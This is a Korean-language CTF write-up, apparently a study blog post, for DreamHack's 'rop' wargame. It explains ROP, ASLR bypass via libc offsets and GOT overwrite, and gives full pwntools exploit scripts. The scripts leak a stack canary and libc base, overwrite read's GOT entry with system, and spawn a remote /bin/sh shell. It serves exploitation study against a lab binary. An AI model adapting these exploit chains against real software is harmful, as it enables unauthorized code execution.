[DreamHack] Return Oriented Programming
ASLR이 걸린 환경에서 system 함수 사용
-> 프로세스에서 libc가 매핑된 주소 찾기
-> 그 주소로부터 system 함수의 오프셋을 이용해 함수의 주소 계산
Return Oriented Programming
리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법
return to library, return to dl-resolve, GOT overwrite 등의 페이로드를 구성 가능
ROP 페이로드는 리턴 가젯으로 구성됨
ROP chain: ret 단위로 여러 코드가 연쇄적으로 실행되는 모습
- GOT Overwrite: 어떤 함수의 GOT 엔트리를 덮고, 해당 함수를 재호출하여 원하는 코드를 실행시키는 공격 기법
[wargame] rop
스택 카나리, NX을 적용하여 컴파일한 바이너리를, ROP를 이용한 GOT Overwrite으로 익스플로잇 하는 실습
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
실행 결과

checksec

실습환경에는 ASLR이 적용
바이너리에는 카나리와 NX가 적용
system 함수의 주소 계산
system 함수-> libc.so.6에 정의되어 있음
libc.so.6
- 이 바이너리가 호출하는 read, puts, printf 정의
- 메모리에 매핑될 때 전체가 매핑되기에 다른 함수들과 함께 system 함수도 메모리에 같이 적재됨
바이너리가 system 함수를 직접 호출하지는 않기에 system 함수가 GOT에 등록 X
But! read, puts, printf는 GOT에 등록 O
main 함수에서 반환될 때? -> 이 함수들을 모두 호출한 이후
이들의 GOT를 읽을 수 있다면 libc.so.6가 매핑된 영역의 주소를 구할 수 있음
libc에는 여러 버전이 있음
같은 libc 안에서 두 데이터 사이의 거리(Offset)는 항상 같음
-> 사용하는 libc의 버전을 알고 libc가 매핑된 영역의 임의 주소를 수할 수 있으면?
-> 다른 데이터의 주소를 모두 계산할 수 있음
함수의 오프셋 구하기
$ readelf -s libc.so.6 | grep " [함수이름]@"

Ubuntu GLIBC 2.35-0ubuntu3.1에서 read 함수와 system 함수 사이의 거리는 항상 0xc3c20

0x114980 에서 0xc3c20 를 빼면 system 함수의 오프셋인 0x50d60

“/bin/sh”
데이터 영역에 "/bin/sh"문자열이 없음
-> 이 문자열을 임의 버퍼에 직접 주입하여 참조하거나 다른 파일에 포함된 것을 사용해야 함

ROP로 버퍼에 “/bin/sh”를 입력하고, 이를 참조
GOT Overwrite
system 함수와 "/bin/sh" 문자열의 주소를 알고 있음
-> pop rdi; ret 가젯을 활용해 system("/bin/sh") 호출 가능
But!
system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후임
system 함수의 주소를 페이로드에 사용하려면 main 함수로 돌아가서 다시 BOF를 일으켜야 함
-> 이러한 공격 패턴: ret2main
Lazy binding
- 호출할 라이브러리 함수의 주소를 프로세스에 매핑된 라이브러리에서 찾는다.
- 찾은 주소를 GOT에 적고, 이를 호출한다.
- 해당 함수를 다시 호출할 경우, GOT에 적힌 주소를 그대로 참조한다.
Lazy binding에서 GOT Overwrite에 이용되는 부분은 3번
-> GOT에 적힌 주소를 검증하지 않고 참조하므로 GOT에 적힌 주소를 변조할 수 있다면?
-> 해당 함수가 재호출 될 때 공격자가 원하는 코드가 실행되게 할 수 있음
=> 알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓴 후 그 함수를 재호출 하도록 ROP 체인을 구성
익스플로잇
카나리 우회
from pwn import *
p=remote("host3.dreamhack.games", 24180)
e=ELF("./rop")
def slog(n,m) :return success(': '.join([n,hex(m)]))
#Leak canary
buf=b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry=u64(b'\x00'+p.recvn(7))
slog('canary',cnry)

system 함수의 주소 계산
system 함수와 read 함수의 오프셋 구하기
#!/usr/bin/env python3
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
read_system = libc.symbols["read"]-libc.symbols["system"]

pop_rdi: 0x0000000000400853

pop_rsi:0x0000000000400851
from pwn import *
p=remote("host3.dreamhack.games", 14104)
e=ELF("./rop")
def slog(n,m) :return success(': '.join([n,hex(m)]))
#Leak canary
buf=b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry=u64(b'\x00'+p.recvn(7))
slog('canary',cnry)
#system func addr
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
read_system = libc.symbols["read"]-libc.symbols["system"]
#expoit
read_plt=e.plt['read']
read_got=e.got['read']
write_plt=e.plt['write']
pop_rdi=0x0000000000400853
pop_rsi_r15=0x0000000000400851
payload=b'A'*0x38+p64(cnry)+b'B'*0x8
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.interactive()

GOT Overwrite 및 "/bin/sh" 입력
"/bin/sh"는 덮어쓸 GOT 엔트리 뒤에 같이 입력
바이너리에서는 입력을 위해 read 함수를 사용할 수 있음
rdi, rsi, rdx 레지스터를 설정해야 함
rdi, rsi는 pop rdi; ret, pop rsi; pop r15; ret 가젯으로 설정 가능
rdx와 관련된 가젯은 바이너리에서 찾기 어려움
-> libc의 코드 가젯이나, libc_csu_init 가젯을 사용하여 문제 해결
-> rdx의 값을 변화시키는 함수를 호출하여 값 설정
ex) strnmp함수는 rax로 비교의 결과를 반환, rdx로 두 문자열의 첫 번째 문자부터 가장 긴 부분 문자열의 길이 반환함
문제 파일에서 read 함수의 GOT를 읽은 뒤 rdx 값이 크게 설정되기 때문에 rdx를 설정하는 가젯을 추가하지 않아도 됨
read 함수, pop rdi ; ret, pop rsi ; pop r15 ; ret 가젯을 이용하여 read의 GOT를 system 함수의 주소로 덮고, read_got + 8에 “/bin/sh”문자열을 쓰는 익스플로잇
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.send(p64(system) + b'/bin/sh\x00')
셸 획득
read 함수의 GOT를 system 함수의 주소로 덮었으므로 system("/bin/sh") 를 실행할 수 있음
read 함수, pop rdi; ret 가젯, “/bin/sh”의 주소(read_got + 8 )를 이용
- ROP chain으로 호출한 system()이 movaps xmmword ptr [rsp], xmm1 명령어에서 실패하는 경우
movaps 명령어로 메모리에 데이터를 옮길 때, 메모리의 정렬 상태가 깨져있으면 SIGSEGV가 발생함
movaps xmmword ptr [rsp], xmm1를 실행할 때, rsp 레지스터가 0x10으로 나누어 떨어지는 값을 가지도록 ROP chain에 ret 가젯 추가
from pwn import *
p=remote("host3.dreamhack.games", 10240)
e=ELF("./rop")
libc = ELF('./libc.so.6')
def slog(n,m) :return success(': '.join([n,hex(m)]))
# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
